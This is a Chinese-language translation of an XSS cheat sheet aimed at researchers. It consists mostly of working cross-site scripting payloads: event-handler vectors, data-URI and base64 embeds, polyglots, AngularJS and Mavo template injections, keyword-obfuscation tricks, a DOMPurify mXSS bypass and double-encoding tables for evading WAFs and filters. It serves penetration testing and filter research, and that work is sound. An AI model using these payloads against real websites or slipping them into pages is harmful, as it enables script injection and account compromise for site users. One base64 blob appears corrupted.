摘要:height:1000px" onmouseover=alert()> (firefox only) (firefox only) (firefox only)
(chrome & opera only)。

其實,現在網絡上很多的XSS Cheat Sheet都已經過期了。很多的XSS Cheat Sheet都是直接從其他地方粗製粘貼過來的,而且有的測試用例早在十年前就已經沒用了,但是也沒人去整理和清理。除此之蛙,在大多數情況下我們所遇到的情況都是這些XSS Cheat Sheet測試用例無法解決的,有可能是因爲Web應用防火牆,也有可能是因爲XSS過濾器。當然了,如果只是一個簡單的XSS漏洞,那你需要的僅僅只是一個有效的XSS攻擊向量,而不是一堆“沒用”的東西。

因此,在這篇文章中我想給大家提供一個“與衆不同”的Cheat Sheet,在這份Cheat Sheet中我將給大家提供一份XSS技術和測試用例清單,並給出一些演示樣例。希望在各位遇到難解決的WAF或XSS過濾器時,這份Cheat Sheet能夠給大家提供一些幫助或靈感。雖然這份Cheat Sheet不能說100%完整,但是我相信這裏提供的技術是2020年絕大部分研究人員仍在使用的技術。

標籤-屬性分隔符

有些過濾器會“天真地認爲”只有某些特定字符可以分隔標籤及其屬性,下面給出的是在Firefox和Chrome中能夠使用的有效分隔符的完整列表:

十進制值 URL編碼 介紹
47 %2F 正斜槓
13 %0D 回車
12 %0C 分頁符
10 %0A 換行
9 %09 水平製表符

使用方式

一般來說,你的Payload構造如下:

<svg onload=alert(1)>

你可以嘗試使用上述字符來替換‘svg’和‘onload’中間的空格,這樣就可以保證HTML仍然有效並且Payload能夠正確執行(DEMO: 有效的HTML ):

<svg/onload=alert(1)><svg>
<svg
onload=alert(1)><svg> # newline char
<svg	onload=alert(1)><svg> # tab char <svg
onload=alert(1)><svg> # new page char (0xc)

基於JavaScript事件的XSS

詳細參考資料: 更多的HTML事件

標準HTML事件

0點擊事件:

事件名稱 標籤 備註
onload body, iframe, img, frameset, input, script, style, link, svg 適用於0-click,但通常會被過濾掉
onpageshow body 適用於 0-click,但只能用在非DOM注入中
onfocus 大多數標籤 適用於 0-click:配合autofocus=””使用
onmouseover 大多數標籤 如果可能的話,添加參數值來讓其儘可能的大。
onerror img, input, object, link, script, video, audio 確保傳遞參數來終止運行
onanimationstart 與任何可以設置動畫的元素組合 啓動,然後開始CSS動畫
onanimationend 與任何可以設置動畫的元素組合 啓動,然後結束CSS動畫
onstart marquee 在字幕動畫啓動時啓動-僅限Firefox
onfinish marquee 在字幕動畫啓動時啓動-僅限Firefox
ontoggle details 必須提供’opne’參數以支持0-click

使用樣例:

<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()">  (chrome & opera only)

HTML5事件

0點擊事件:

事件名稱 標籤 備註
onplay video, audio 適用於0-click:結合HTML的autoplay屬性以及結合有效的視頻/音頻
onplaying video, audio 適用於0-click: 結合HTML的autoplay屬性以及結合有效的視頻/音頻
oncanplay video, audio 必須鏈接有效的視頻/音頻
onloadeddata video, audio 必須鏈接有效的視頻/音頻
onloadedmetadata video, audio 必須鏈接有效的視頻/音頻
onprogress video, audio 必須鏈接有效的視頻/音頻
onloadstart video, audio 潛在的0-click向量
oncanplay video, audio 必須鏈接有效的視頻/音頻

使用樣例:

<video autoplay onloadstart="alert()" src=x></video>

<video autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>

<video controls onloadeddata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>

<video controls onloadedmetadata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>

<video controls onloadstart="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>

<audio autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>

<audio autoplay controls onplaying="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>

基於CSS的事件

不幸的是,基於CSS來實現XSS現在已經越來越難了,我嘗試過的所有向量目前都只能在非常舊的瀏覽器上工作。因此,下面介紹的是基於CSS來觸發XSS的情況。

下面的例子使用的是style標籤來爲動畫的開始和結束設置關鍵幀:

<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

古怪的XSS向量

下面給出的是一些比較“奇葩”的XSS測試向量,這些測試向量很少見:

<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS多覆蓋樣例

下面我給出了幾份XSS的多段代碼,因爲有的時候我們只需要輸入特定的字符,或者只需要一個基於DOM或基於非DOM的注入場景。

字符 使用 多段代碼
141 DOM和非DOM javascript:”/*’/*`/*–></noscript></title></textarea></style></template></noembed></script><html \” onmouseover=/*<svg/*/onload=alert()//>
88 非DOM “‘–></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM ‘”–></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 非DOM “‘>–>*/</noscript></ti tle><script>alert()</script>
42 DOM “‘–></style></script><svg onload=alert()>

框架

爲了攻擊JS框架,我們還需要對相關的模板語言進行研究和分析。

AngularJS

{{constructor.constructor('alert(1)')()}}

這個Payload適用於大多數場景,但如果你還需要更多的Payload,可以點擊【 這裏 】獲取。

Mavo

[self.alert(1)]

XSS過濾器繞過

圓括號過濾

利用HTML解析器和JS語句:

<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>

限制字符集

下面這三個站點可以將有效的JS代碼轉換爲所謂的“亂碼”來繞過絕大多數的過濾器:

1、 JSFuck

2、 JSFsck(不帶圓括號的JSFuck)

3、 jjencode

關鍵詞過濾

避免使用的關鍵詞:

(alert)(1)
 (1,2,3,4,5,6,7,8,alert)(1)
 a=alert,a(1)
 [1].find(alert)
 top["al”+”ert"](1)
 top[/al/.source+/ert/.source](1)
 al\u0065rt(1)
 top['al\145rt'](1)
 top['al\x65rt'](1)
 top[8680439..toString(30)](1)  // Generated using parseInt(“alert”,30). Other bases also work

mXSS和DOM攻擊

對於XSS過濾器來說,它們基本上不可能正確地預測瀏覽器如何跟HTML以及交互庫進行數據處理的方式。因此,有的時候我們就可以將XSS Payload作爲無效的HTML插入到目標頁面中,然後瀏覽器將有可能把它作爲有效Payload執行,這樣就可以繞過過濾器了。

下面給出的是一個能夠繞過最常見過濾器( DOMPurify <2.0.1 )的mXSS Payload:

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

雙重編碼

有的時候,應用程序會在字符串再次解碼之前,對其執行XSS過濾,這樣就會給我們留下實現繞過的可乘之機。

字符 雙重編碼
< %253C
> %253E
( %2528
) %2529
%2522
%2527

參考資料

1、 https://www.vulnerability-lab.com/resources/documents/531.txt

2、 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

3、 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

4、 https://cure53.de/fp170.pdf

5、 https://www.*******.com/watch?v=5W-zGBKvLxk

6、 https://xss.pwnfunction.com/

* 參考來源: netsec ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM

相關文章